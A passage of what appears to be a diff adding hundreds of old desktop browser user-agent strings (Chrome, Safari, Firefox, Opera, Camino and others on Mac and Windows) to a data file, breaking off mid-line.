+Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 +Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 +Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.51 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 +Mozilla/5.0 (Windows NT 5.1; U; ; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 +Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 +Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 +Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 +Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 +Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 +Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 +Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 +Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 +Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 +Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 +Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 +Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 +Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 +Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 +Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 +Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 +Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 +Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 +Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre +Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 +Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 +Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 +Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 +Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre +Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre +Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre +Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 +Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) +Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) +Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)) +Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) +Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 +Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 +Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 +Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1 +Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 +Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 +Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.30) +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.648) +Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 ( .NET CLR 3.5.30729; .NET4.0E) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like 